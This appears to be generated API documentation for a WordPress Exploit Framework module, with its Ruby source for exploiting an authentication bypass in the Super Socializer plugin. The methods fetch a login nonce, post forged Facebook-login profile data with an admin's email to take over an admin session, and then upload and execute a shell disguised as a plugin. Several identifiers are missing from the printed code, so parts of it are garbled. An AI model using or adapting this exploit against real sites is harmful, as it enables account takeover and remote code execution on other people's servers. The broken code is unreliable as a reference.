Class: Wpxf::Exploit::SuperSocializerShellUpload

Inherits:
Module
  • Object
show all
Includes:
Wpxf, Net::HttpClient, WordPress::Login, WordPress::Plugin
Defined in:
lib/wpxf/modules/exploit/shell/super_socializer_shell_upload.rb

Constant Summary

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Instance Attribute Summary collapse

Attributes inherited from Module

#active_workspace, #event_emitter, #payload

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Plugin

#fetch_plugin_upload_nonce, #generate_wordpress_plugin_header, #upload_payload_as_plugin, #upload_payload_as_plugin_and_execute

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ SuperSocializerShellUpload

Returns a new instance of SuperSocializerShellUpload.



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# File 'lib/wpxf/modules/exploit/shell/super_socializer_shell_upload.rb', line 9

def initialize
  super

  update_info(
    name: 'Super Socializer <= 7.10.6 Authentication Bypass',
    desc: %(
      Super Socializer <= 7.10.6 is vulnerable to an
      authentication bypass exploit if an attacker is
      in posession of an admin's e-mail address and the
      social login feature is enabled.

      This module will acquire an admin session by utilising
      the aforementioned vulnerability and upload a shell
      packaged as a WordPress plugin.
    ),
    author: [
      'rastating' # WPXF module
    ],
    references: [
      ['WPVDB', '9043']
    ],
    date: 'Mar 03 2018'
  )

  register_options([
    StringOption.new(
      name: 'admin_email',
      desc: 'The e-mail address of the admin user to authenticate as',
      required: true
    )
  ])
end

Instance Attribute Details

#login_nonce ⇒ Object

Returns the value of attribute login_nonce.



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# File 'lib/wpxf/modules/exploit/shell/super_socializer_shell_upload.rb', line 109

def 
  @login_nonce
end

#session_cookie ⇒ Object

Returns the value of attribute session_cookie.



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# File 'lib/wpxf/modules/exploit/shell/super_socializer_shell_upload.rb', line 108

def session_cookie
  @session_cookie
end

Instance Method Details

#check ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/super_socializer_shell_upload.rb', line 42

def check
  check_plugin_version_from_readme('super-socializer', '7.10.7')
end

#fetch_nonce ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/super_socializer_shell_upload.rb', line 46

def fetch_nonce
  emit_info 'Fetching a login nonce...'
  res = execute_get_request(url: )
  return false unless res&.code == 200

  pattern = /var\sthe_champ_sl_ajax_token\s=\s{"ajax_url":".+?","security":"([a-z0-9]+?)"};/i
  self. = res.body[pattern, 1]

  if .nil?
    emit_error 'Failed to fetch a login nonce'
    return false
  else
    emit_success "Found nonce: #{}", true
    return true
  end
end

#login ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/super_socializer_shell_upload.rb', line 63

def 
  res = execute_post_request(
    url: wordpress_url_admin_ajax,
    body: {
      'action' => 'the_champ_user_auth',
      'security' => ,
      'profileData[id]' => Wpxf::Utility::Text.rand_alpha(6),
      'profileData[link]' => Wpxf::Utility::Text.rand_alpha(6),
      'profileData[name]' => Wpxf::Utility::Text.rand_alpha(6),
      'profileData[email]' => datastore['admin_email'],
      'profileData[first_name]' => Wpxf::Utility::Text.rand_alpha(6),
      'profileData[last_name]' => Wpxf::Utility::Text.rand_alpha(6),
      'provider' => 'facebook',
      'redirectionUrl' => full_uri
    }
  )

  return false unless res&.cookies

  if valid_wordpress_cookie?(res.cookies.to_s)
    self.session_cookie = res.cookies.to_s
    return res.cookies
  else
    emit_error 'Failed to authenticate'
    return false
  end
end

#run ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/super_socializer_shell_upload.rb', line 91

def run
  return false unless super
  return false unless fetch_nonce

  emit_info "Authenticating as #{datastore['admin_email']}..."
  return false unless 

  emit_info 'Uploading payload...'
  res = upload_payload_as_plugin_and_execute(
    Utility::Text.rand_alpha(10),
    Utility::Text.rand_alpha(10),
    session_cookie
  )

  !res.nil?
end